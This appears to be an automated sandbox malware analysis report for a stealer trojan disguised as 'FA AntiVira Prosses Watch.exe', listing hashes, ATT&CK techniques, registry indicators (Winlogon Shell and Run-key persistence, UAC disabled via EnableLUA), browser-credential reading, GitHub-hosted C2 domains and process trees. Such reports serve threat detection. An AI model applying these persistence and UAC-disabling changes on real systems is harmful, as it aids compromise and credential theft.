eb0b2accd533bb7556b98d8150dcfc313239586c223f86d9d1dce22234702076

Analysis

max time kernel
129s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
28-05-2024 15:42

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

FA AntiVira Prosses Watch.exe
Size

7.1MB
MD5

b8bfdafa661a4110fd34c9b0fbb2582c
SHA1

3b0311377236083ffdeb61ab81d3186962a7d59d
SHA256

eb0b2accd533bb7556b98d8150dcfc313239586c223f86d9d1dce22234702076
SHA512

04eee9cb6f1470f5963825840bee0f8c9fac26a7e1faf6282c8bbe6daaa18cac992909852e4bb82f31656b6ebaa2be5ddcda4f9b796e2ce39509579035dbff52
SSDEEP

196608:JszWA1HeT39IigheE9TFa0Z8DOjCdylNownzbQWa0ngx:61+TtIibY9Z8D8CclyUnwigx

Score

10^/10

evasion persistence spyware stealer trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Executes dropped EXE 1 IoCs

Processes:

system.exe

pid process

3880 system.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

pid	process
3880	system.exe

Loads dropped DLL 11 IoCs

Processes:

FA AntiVira Prosses Watch.exe

pid	process
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Local\\system.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

132 camo.githubusercontent.com
138 camo.githubusercontent.com
150 raw.githubusercontent.com
151 raw.githubusercontent.com

flow	ioc
132	camo.githubusercontent.com
138	camo.githubusercontent.com
150	raw.githubusercontent.com
151	raw.githubusercontent.com

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

1236 SCHTASKS.exe

pid	process
1236	SCHTASKS.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 17 IoCs

Processes:

LogonUI.exechrome.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133613845713879233"	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "118"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

FA AntiVira Prosses Watch.exetaskmgr.exechrome.exe

pid	process
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
4692	taskmgr.exe
4692	taskmgr.exe
2012	chrome.exe
2012	chrome.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
940	FA AntiVira Prosses Watch.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

4692 taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

Processes:

chrome.exe

pid	process
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

FA AntiVira Prosses Watch.exetaskmgr.exechrome.exe

description	pid	process
Token: SeDebugPrivilege	940	FA AntiVira Prosses Watch.exe
Token: SeDebugPrivilege	4692	taskmgr.exe
Token: SeSystemProfilePrivilege	4692	taskmgr.exe
Token: SeCreateGlobalPrivilege	4692	taskmgr.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe
Token: SeShutdownPrivilege	2012	chrome.exe
Token: SeCreatePagefilePrivilege	2012	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exechrome.exe

pid	process
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exechrome.exe

pid	process
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
2012	chrome.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe
4692	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

LogonUI.exe

pid process

5048 LogonUI.exe

pid	process
5048	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

FA AntiVira Prosses Watch.exechrome.exe

description	pid	process	target process
PID 1328 wrote to memory of 940	1328	FA AntiVira Prosses Watch.exe	FA AntiVira Prosses Watch.exe
PID 1328 wrote to memory of 940	1328	FA AntiVira Prosses Watch.exe	FA AntiVira Prosses Watch.exe
PID 2012 wrote to memory of 4928	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 4928	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 3036	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 5068	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 5068	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe
PID 2012 wrote to memory of 2120	2012	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\FA AntiVira Prosses Watch.exe
"C:\Users\Admin\AppData\Local\Temp\FA AntiVira Prosses Watch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1328

C:\Users\Admin\AppData\Local\Temp\FA AntiVira Prosses Watch.exe
"C:\Users\Admin\AppData\Local\Temp\FA AntiVira Prosses Watch.exe"
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:940

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4692

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb44bab58,0x7ffcb44bab68,0x7ffcb44bab78
2⤵
PID:4928

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1672 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:2
2⤵
PID:3036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:5068

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2224 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:2120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3056 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:2772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3064 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:4416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3604 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:60

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4488 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:3048

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4628 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:4356

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4744 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:2712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4668 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:184

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:4376

C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --reenable-autoupdates --system-level
2⤵
PID:2844

C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x238,0x23c,0x240,0x214,0x244,0x7ff77adeae48,0x7ff77adeae58,0x7ff77adeae68
3⤵
PID:860

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4664 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:3976

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3240 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:4536

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3248 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:1
2⤵
PID:4768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4880 --field-trial-handle=1908,i,14527660261139380625,9446263300411512732,131072 /prefetch:8
2⤵
PID:5040

C:\Program Files\Google\Chrome\Application\chrome.exe
